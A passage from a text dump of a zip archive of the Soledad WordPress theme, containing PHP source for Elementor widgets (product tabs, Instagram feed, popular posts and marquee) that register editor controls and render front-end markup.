                            <li data-layout="<?php echo esc_attr( $settings['layout'] ); ?>"
                                data-queryid="<?php echo esc_attr( $unique_title ); ?>"
                                data-atts="<?php echo esc_attr( $encoded_settings ); ?>"
                                class="<?php echo esc_attr( $li_classes ); ?>">
								<?php if ( $icon_output ) : ?>
									<?php echo $icon_output; // phpcs:ignore ?>
								<?php endif; ?>

                                <span class="tab-label">
									<?php echo esc_html( $item['title'] ); ?>
								</span>
                            </li>
						<?php endforeach; ?>
                    </ul>
                </div>
            </div>

			<?php
			if ( isset( $settings['tabs_items'][0] ) ) :
				$settings['class'] = 'active';
				?>
                <div class="penci-tab-content-container">
                    <div class="penci-products-preloader">
                        <span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span
                                    class="bubble"></span></span>
                    </div>
					<?php penci_elementor_products_template( array_merge( $settings, $settings['tabs_items'][0] ) ); ?>
                </div>
			<?php endif; ?>
        </div>
		<?php
	}
}
PK     1w\Q*G    ,  elementor/modules/penci-instagram/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciInstagram;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-instagram';
	}

	public function get_widgets() {
		return array( 'PenciInstagram' );
	}
}
PK     1w\tL    =  elementor/modules/penci-instagram/widgets/penci-instagram.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciInstagram\Widgets;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciInstagram extends Base_Widget {

	public function get_name() {
		return 'penci-instagram';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Instagram Feed', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {
		

		// Section layout
		$this->start_controls_section(
			'section_instagram', array(
				'label' => esc_html__( 'Instagram Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'section_instagram_desc',
			[
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => '<span style="color: #ff0000;">Note Important: </span>Please connect to your Instagram accout on <a
                            href="' . esc_url( admin_url( 'admin.php?page=penci_instgram_token' ) ) . '"
                            target="_blank">this page</a> first.',
				'separator'       => 'after',
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
			]
		);

		$this->add_control(
			'images_number', array(
				'label'       => __( 'Number of images to show', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 9,
				'separator'   => 'before',
				'description' => __( 'You can shows 12 latest images from a public Instagram user( maximum 12 )', 'soledad' ),
			)
		);
		$this->add_control(
			'refresh_hour', array(
				'label'       => __( 'Check for new images every', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 5,
				'description' => __( 'Unix is hour(s)', 'soledad' ),
			)
		);
		$this->add_control(
			'template', array(
				'label'   => __( 'Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'thumbs',
				'options' => array(
					'thumbs-no-border' => esc_html__( 'Thumbnails - Without Border', 'soledad' ),
					'thumbs'           => esc_html__( 'Thumbnails', 'soledad' ),
					'slider'           => esc_html__( 'Slider - Normal', 'soledad' ),
					'slider-overlay'   => esc_html__( 'Slider - Overlay Text', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'columns', array(
				'label'     => __( 'Number of Columns', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '3',
				'options'   => array(
					'1'  => '1',
					'2'  => '2',
					'3'  => '3',
					'4'  => '4',
					'5'  => '5',
					'6'  => '6',
					'7'  => '7',
					'8'  => '8',
					'9'  => '9',
					'10' => '10',
				),
				'condition' => array( 'template' => array( 'thumbs-no-border', 'thumbs' ) ),
			)
		);
		$this->add_control(
			'orderby', array(
				'label'   => __( 'Order by', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'rand',
				'options' => array(
					'date-ASC'     => __( 'Date - Ascending', 'soledad' ),
					'date-DESC'    => __( 'Date - Descending', 'soledad' ),
					'popular-ASC'  => __( 'Popularity - Ascending', 'soledad' ),
					'popular-DESC' => __( 'Popularity - Descending', 'soledad' ),
					'rand'         => __( 'Random', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'images_link', array(
				'label'   => __( 'On click action', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'image_url',
				'options' => array(
					''           => __( 'None', 'soledad' ),
					'image_url'  => __( 'Instagram image', 'soledad' ),
					'user_url'   => __( 'Instagram Profile', 'soledad' ),
					'attachment' => __( 'Attachment Page', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'description', array(
				'label'       => __( 'Slider Text Description', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SELECT2,
				'default'     => array( 'username', 'time', 'caption' ),
				'multiple'    => true,
				'options'     => array(
					'username' => __( 'Username', 'soledad' ),
					'time'     => __( 'Time', 'soledad' ),
					'caption'  => __( 'Caption', 'soledad' ),
				),
				'condition'   => array( 'template' => array( 'slider', 'slider-overlay' ) ),
			)
		);
		$this->add_control(
			'slidespeed', array(
				'label'     => __( 'Slider Speed (at x seconds)', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 600,
				'condition' => array( 'template' => array( 'slider', 'slider-overlay' ) ),
			)
		);

		$this->add_control(
			'controls', array(
				'label'   => __( 'Slider Navigation Controls', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'prev_next',
				'options' => array(
					'none'       => __( 'None', 'soledad' ),
					'prev_next'  => __( 'Prev & Next', 'soledad' ),
					'numberless' => __( 'Dotted', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'caption_words', array(
				'label'     => __( 'Number of words in caption', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 100,
				'condition' => array( 'template' => array( 'slider', 'slider-overlay' ) ),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$instance_df = array(
			'title'            => '',
			'attachment'       => 0,
			'template'         => 'thumbs',
			'images_link'      => 'image_url',
			'custom_url'       => '',
			'orderby'          => 'rand',
			'images_number'    => 9,
			'columns'          => 3,
			'refresh_hour'     => 12,
			'image_size'       => 'jr_insta_square',
			'image_link_rel'   => '',
			'image_link_class' => '',
			'no_pin'           => 0,
			'controls'         => 'prev_next',
			'animation'        => 'slide',
			'caption_words'    => 100,
			'slidespeed'       => 7000,
			'description'      => array( 'username', 'time', 'caption' ),
		);

		$instance = shortcode_atts( $instance_df, $settings );

		$css_class = 'penci-block-vc penci_instagram_widget-sc penci_instagram_widget penci_insta-' . $instance['template'];
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">
				<?php \Penci_Instagram_Feed::display_images( $instance ); ?>
            </div>
        </div>
		<?php
	}
}
PK     1w\P"  "  0  elementor/modules/penci-popular-posts/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPopularPosts;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-popular-posts';
	}

	public function get_widgets() {
		return array( 'PenciPopularPosts' );
	}
}
PK     1w\&  &  E  elementor/modules/penci-popular-posts/widgets/penci-popular-posts.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciPopularPosts\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;


if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPopularPosts extends Base_Widget {

	public function get_name() {
		return 'penci-popular-posts';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Popular Posts', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'popular-posts' );
	}


	protected function register_controls() {


		$this->register_query_section_controls();
		$this->start_controls_section(
			'section_page', array(
				'label' => esc_html__( 'Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'penci_columns', array(
				'label'   => __( 'Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '4',
				'options' => array(
					'4' => __( '4 Columns', 'soledad' ),
					'3' => __( '3 Columns', 'soledad' )
				)
			)
		);
		$this->add_control(
			'_title_length', array(
				'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'label_block' => true,
				'default'     => '10',
			)
		);

		$this->add_control(
			'penci_featimg_size', array(
				'label'                => __( 'Image Size Type', 'soledad' ),
				'type'                 => Controls_Manager::SELECT,
				'default'              => '',
				'options'              => array(
					''           => esc_html__( 'Default', 'soledad' ),
					'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
					'square'     => esc_html__( 'Square Size', 'soledad' ),
					'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
					'custom'     => esc_html__( 'Custom', 'soledad' ),
				),
				'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => '{{VALUE}}', ),
				'selectors_dictionary' => array(
					'horizontal' => 'padding-top: 66.6667%;',
					'square'     => 'padding-top: 100%;',
					'vertical'   => 'padding-top: 135.4%;',
				)
			)
		);
		$this->add_responsive_control(
			'penci_featimg_ratio', array(
				'label'          => __( 'Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 0.66 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 0.5 ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
				'condition'      => array( 'penci_featimg_size' => 'custom' ),
			)
		);
		$this->add_control(
			'thumb_size', array(
				'label'     => __( 'Custom Image size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => $this->get_list_image_sizes( true ),
				'condition' => array( 'penci_featimg_size' => 'custom' ),
			)
		);

		$this->add_control(
			'show_navs', array(
				'label'   => __( 'Show Prev/Next Buttons', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => '',
			)
		);

		$this->add_control(
			'hide_dots', array(
				'label'   => __( 'Hide Dots', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => '',
			)
		);

		$this->end_controls_section();
		$this->register_block_title_section_controls_post();

		$this->start_controls_section(
			'section_popular_posts_style',
			array(
				'label' => __( 'Popular Posts', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'ptitle_style', array(
				'label' => __( 'Post Title', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$this->add_control(
			'ptitle_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .item-related h3 a' => 'color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'ptitle_hcolor', array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .item-related h3 a:hover' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'selector' => '{{WRAPPER}} .penci-home-popular-post .item-related h3, {{WRAPPER}} .penci-home-popular-post  .item-related h3 a'
			)
		);

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .related-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		// Post meta
		$this->add_control(
			'heading_meta_style',
			array(
				'label'     => __( 'Post Meta', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'pmeta_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .item-related span.date' => 'color: {{VALUE}};',

				),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pmeta_typo',
				'selector' => '{{WRAPPER}} .item-related span.date'
			)
		);

		$this->add_control(
			'heading_dots_style',
			array(
				'label'     => __( 'Dots', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'_dot_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-owl-dots .penci-owl-dot span' => 'border-color: {{VALUE}};background-color: {{VALUE}};', ),
			)
		);
		$this->add_control(
			'dot_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-owl-dots .penci-owl-dot:hover span'  => 'border-color: {{VALUE}};background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-owl-dots .penci-owl-dot.active span' => 'border-color: {{VALUE}};background-color: {{VALUE}};',
				),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$query_args = Module::get_query_args( 'posts', $settings );

		echo \Soledad_VC_Shortcodes::popular_posts( array(
			'title'                  => $settings['heading'],
			'hide_block_heading'     => $settings['hide_block_heading'],
			'heading_title_style'    => $settings['heading_title_style'],
			'heading_title_html_tag' => $settings['heading_title_html_tag'],
			'heading_title_link'     => $settings['heading_title_link'],
			'heading_title_align'    => $settings['block_title_align'],
			'heading_icon_pos'       => $settings['heading_icon_pos'],
			'heading_icon'           => $settings['heading_icon'],

			'penci_featimg_size'  => isset( $settings['penci_featimg_size'] ) ? $settings['penci_featimg_size'] : '',
			'penci_featimg_ratio' => isset( $settings['penci_featimg_ratio'] ) ? $settings['penci_featimg_ratio'] : '',
			'thumb_size'          => isset( $settings['thumb_size'] ) ? $settings['thumb_size'] : '',
			'show_navs'           => $settings['show_navs'],
			'hide_dots'           => $settings['hide_dots'],

			'columns'         => $settings['penci_columns'],
			'_title_length'   => $settings['_title_length'],
			'elementor_query' => $query_args,
		) );
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}
}
PK     1w\Z  Z  *  elementor/modules/penci-marquee/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciMarquee;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class Module extends Module_Base {

	public function get_name() {
		return 'penci-marquee';
	}

	public function get_widgets() {
		return array( 'PenciMarquee' );
	}
}
PK     1w\5Ea  Ea  9  elementor/modules/penci-marquee/widgets/penci-marquee.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciMarquee\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Text_Stroke;
use Elementor\Group_Control_Css_Filter;
use Elementor\Repeater;
use Elementor\Utils;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Text_Shadow;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

// Exit if accessed directly

class PenciMarquee extends Base_Widget {

	public function get_name() {
		return 'penci-marquee';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Marquee', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-slider-video';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'marquee', 'marquee text', 'marquee-list', 'news', 'ticker' ];
	}

	public function get_script_depends() {
		return [ 'penci-marquee-el' ];
	}

	protected function register_controls() {
		$this->register_controls_layout_items();
		$this->register_controls_marquee_options();
		$this->register_controls_style_text();
		$this->register_controls_style_images();
	}

	protected function register_controls_marquee_options() {
		$this->start_controls_section(
			'section_controls_marquee',
			[
				'label' => esc_html__( 'General Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			]
		);
		$this->add_responsive_control(
			'marquee_item_spacing',
			[
				'label'              => esc_html__( 'Item Spacing', 'soledad' ),
				'type'               => Controls_Manager::SLIDER,
				'range'              => [
					'px' => [
						'min'  => 0,
						'max'  => 100,
						'step' => 1,
					],
				],
				'selectors'          => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content' => 'margin-left: {{SIZE}}{{UNIT}};',
				],
				'frontend_available' => true,
				'render_type'        => 'template',
			]
		);

		$this->add_control(
			'marquee_speed',
			[
				'label'              => esc_html__( 'Scroll Speed', 'soledad' ),
				'type'               => Controls_Manager::NUMBER,
				'min'                => 0,
				'max'                => 10000,
				'step'               => 1,
				'default'            => 50,
				'frontend_available' => true,
				'render_type'        => 'none',
				'separator'          => 'after',

			]
		);
		$this->add_control(
			'marquee_direction',
			[
				'label'              => esc_html__( 'Direction', 'soledad' ),
				'type'               => Controls_Manager::CHOOSE,
				'options'            => [
					'left'  => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					],
					'right' => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					],
				],
				'default'            => 'left',
				'frontend_available' => true,
				'render_type'        => 'template',
				'toggle'             => false,
				'separator'          => 'before',
			]
		);
		$this->add_control(
			'marquee_pause_on_hover',
			[
				'label'              => esc_html__( 'Pause On Hover', 'soledad' ),
				'type'               => Controls_Manager::SWITCHER,
				'label_on'           => esc_html__( 'Yes', 'soledad' ),
				'label_off'          => esc_html__( 'No', 'soledad' ),
				'return_value'       => 'yes',
				'frontend_available' => true,

			]
		);

		$this->add_control(
			'marquee_draggable',
			[
				'label'              => esc_html__( 'Draggable', 'soledad' ),
				'type'               => Controls_Manager::SWITCHER,
				'label_on'           => esc_html__( 'Yes', 'soledad' ),
				'label_off'          => esc_html__( 'No', 'soledad' ),
				'return_value'       => 'yes',
				'frontend_available' => true,
			]
		);

		$this->add_control(
			'marquee_clickable',
			[
				'label'              => esc_html__( 'Clickable', 'soledad' ),
				'type'               => Controls_Manager::SWITCHER,
				'label_on'           => esc_html__( 'Yes', 'soledad' ),
				'label_off'          => esc_html__( 'No', 'soledad' ),
				'return_value'       => 'yes',
				'frontend_available' => true,
			]
		);

		$this->add_control(
			'marquee_advanced',
			[
				'label'              => esc_html__( 'Advanced Options', 'soledad' ),
				'type'               => Controls_Manager::SWITCHER,
				'label_on'           => esc_html__( 'Yes', 'soledad' ),
				'label_off'          => esc_html__( 'No', 'soledad' ),
				'return_value'       => 'yes',
				'frontend_available' => true,
				'render_type'        => 'template',
			]
		);

		$this->add_responsive_control(
			'marquee_rotate',
			[
				'label'     => esc_html__( 'Rotate', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => - 100,
						'max'  => 100,
						'step' => 1,
					]
				],
				'selectors' => [
					'{{WRAPPER}}' => '--penci-marquee-el-rotate: {{SIZE}}deg;',
				],
				'separator' => 'before',
				'condition' => [
					'marquee_advanced' => 'yes'
				]
			]
		);

		$this->add_responsive_control(
			'marquee_rotate_offset',
			[
				'label' => esc_html__( 'Offset left', 'soledad' ),
				'type'  => Controls_Manager::SLIDER,
				'range' => [
					'px' => [
						'min'  => - 500,
						'max'  => 500,
						'step' => 1,
					]
				],

				'selectors' => [
					'{{WRAPPER}} ' => '--penci-marquee-el-offset: -{{SIZE}}px;',
				],
				'condition' => [
					'marquee_advanced' => 'yes'
				]
			]
		);

		$this->add_responsive_control(
			'marquee_rotate_adjustment',
			[
				'label'     => esc_html__( 'Offset Right', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => - 500,
						'max'  => 500,
						'step' => 1,
					]
				],
				'selectors' => [
					'{{WRAPPER}} ' => '--penci-marquee-el-adjustment: {{SIZE}}px;',
				],
				'condition' => [
					'marquee_advanced' => 'yes'
				]
			]
		);

		$this->add_control(
			'skin_shadow_mode',
			[
				'label'        => esc_html__( 'Shadow Mode', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'prefix_class' => 'penci-shadow-mode-',
				'render_type'  => 'template',
				'separator'    => 'before',
			]
		);

		$this->add_control(
			'skin_shadow_color',
			[
				'label'     => esc_html__( 'Shadow Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'skin_shadow_mode' => 'yes',
				],
				'selectors' => [
					'{{WRAPPER}}.penci-shadow-mode-yes:before' => is_rtl() ? 'background: linear-gradient(to left, {{VALUE}} 5%,rgba(255,255,255,0) 100%);' : 'background: linear-gradient(to right, {{VALUE}} 5%,rgba(255,255,255,0) 100%);',
					'{{WRAPPER}}.penci-shadow-mode-yes:after'  => is_rtl() ? 'background: linear-gradient(to left, rgba(255,255,255,0) 0%, {{VALUE}} 95%);' : 'background: linear-gradient(to right, rgba(255,255,255,0) 0%, {{VALUE}} 95%);',
				],
			]
		);

		$this->end_controls_section();
	}

	protected function register_controls_layout_items() {
		$this->start_controls_section(
			'section_layout_text',
			[
				'label' => esc_html__( 'Marquee', 'soledad' ),
			]
		);
		$this->add_control(
			'marquee_motice',
			[
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => esc_html__( 'Please switch to "Preview Mode" to fully experience the Marquee Widget\'s functionality and make any needed adjustments.', 'soledad' ),
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
			]
		);
		$this->add_control(
			'marquee_type',
			[
				'label'              => esc_html__( 'Marquee Type', 'soledad' ),
				'type'               => Controls_Manager::SELECT,
				'options'            => [
					'image' => esc_html__( 'Image', 'soledad' ),
					'text'  => esc_html__( 'Text', 'soledad' ),
				],
				'default'            => 'image',
				'frontend_available' => true,
				'render_type'        => 'template',
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'thumbnail',
				'label'     => esc_html__( 'Image Size', 'soledad' ),
				'exclude'   => [ 'custom' ],
				'default'   => 'medium',
				'condition' => [
					'marquee_type' => 'image'
				]
			]
		);

		$this->add_responsive_control(
			'marquee_image_height',
			[
				'label'       => esc_html__( 'Height', 'soledad' ),
				'description' => esc_html__( 'Set image size in pixel. Default is 250px', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'size_units'  => [ 'px', 'vh', '%' ],
				'range'       => [
					'px' => [
						'min'  => 50,
						'max'  => 450,
						'step' => 1,
					]
				],
				'default'     => [
					'size' => 250,
					'unit' => 'px',
				],
				'selectors'   => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content img' => 'object-fit: contain;width: auto; height: {{SIZE}}{{UNIT}};',
				],
				'render_type'        => 'template',
				'condition' => [
					'marquee_type' => 'image'
				]
			]
		);

		$this->add_control(
			'marquee_image_caption',
			[
				'label'       => esc_html__( 'Show Image Caption', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'condition' => [
					'marquee_type' => 'image'
				]
			]
		);

		$repeater = new Repeater();
		$repeater->add_control(
			'marquee_content',
			[
				'label'       => esc_html__( 'Content', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXT,
			]
		);
		$repeater->add_control(
			'marquee_link',
			[
				'label'         => __( 'Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'placeholder'   => __( 'https://example.com', 'soledad' ),
				'show_external' => true,
				'default'       => [
					'url'         => '',
					'is_external' => true,
					'nofollow'    => true,
				],
			]
		);
		$repeater->add_control(
			'marquee_color',
			[
				'label'       => esc_html__( 'Color', 'soledad' ),
				'type'        => Controls_Manager::COLOR,
				'default'     => '',
				'render_type' => 'template',
				'separator'   => 'before'
			]
		);

		$repeater->add_control(
			'marquee_bg_color',
			[
				'label'       => esc_html__( 'Background Color', 'soledad' ),
				'type'        => Controls_Manager::COLOR,
				'render_type' => 'template'
			]
		);

		$this->add_control(
			'marquee_type_text',
			[
				'label'              => esc_html__( 'Marquee Items', 'soledad' ),
				'type'               => Controls_Manager::REPEATER,
				'fields'             => $repeater->get_controls(),
				'title_field'        => '{{{ marquee_content }}}',
				'condition'          => [
					'marquee_type' => 'text'
				],
				'frontend_available' => true,
				'render_type'        => 'none',
				'prevent_empty'      => false,
				'default'            => [
					[
						'marquee_content' => esc_html__( "PenciDesign", 'soledad' )
					],
					[
						'marquee_content' => esc_html__( "Soledad", 'soledad' )
					],
					[
						'marquee_content' => esc_html__( "WordPress", 'soledad' )
					],
					[
						'marquee_content' => esc_html__( "WooCommerce", 'soledad' )
					],
					[
						'marquee_content' => esc_html__( "Elementor", 'soledad' )
					],
					[
						'marquee_content' => esc_html__( "ThemeForest", 'soledad' )
					],
				]
			]
		);

		$image_slides = new Repeater();
		$image_slides->add_control(
			'marquee_image',
			[
				'label' => esc_html__( 'Image', 'soledad' ),
				'type'  => Controls_Manager::MEDIA,
			]
		);
		$image_slides->add_control(
			'marquee_image_link',
			[
				'label'         => __( 'Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'placeholder'   => __( 'https://example.com', 'soledad' ),
				'show_external' => true,
				'default'       => [
					'url'         => '',
					'is_external' => true,
					'nofollow'    => true,
				],
			]
		);
		$this->add_control(
			'marquee_type_images',
			[
				'label'         => esc_html__( 'Maruqee Items', 'soledad' ),
				'type'          => Controls_Manager::REPEATER,
				'fields'        => $image_slides->get_controls(),
				'condition'     => [
					'marquee_type' => 'image'
				],
				'prevent_empty' => false,
				'default'       => [
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()

						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					]

				]
			]
		);
		$this->end_controls_section();
	}

	protected function register_controls_style_text() {

		$this->start_controls_section(
			'section_style_title',
			[
				'label'     => esc_html__( 'Marquee', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'marquee_type' => 'text'
				]
			]
		);

		$this->start_controls_tabs(
			'marquee_title_style_tabs'
		);
		$this->start_controls_tab(
			'marquee_title_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);
		$this->add_control(
			'marquee_title_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content .marquee-title' => 'color: {{VALUE}} !important',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'marquee_title_background',
				'label'    => esc_html__( 'Background', 'soledad' ),
				'types'    => [ 'classic', 'gradient' ],
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content',
			]
		);
		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'      => 'marquee_title_border',
				'label'     => esc_html__( 'Border', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-marquee-el .marquee-content',
				'separator' => 'before',
			]
		);
		$this->add_responsive_control(
			'marquee_title_radius',
			[
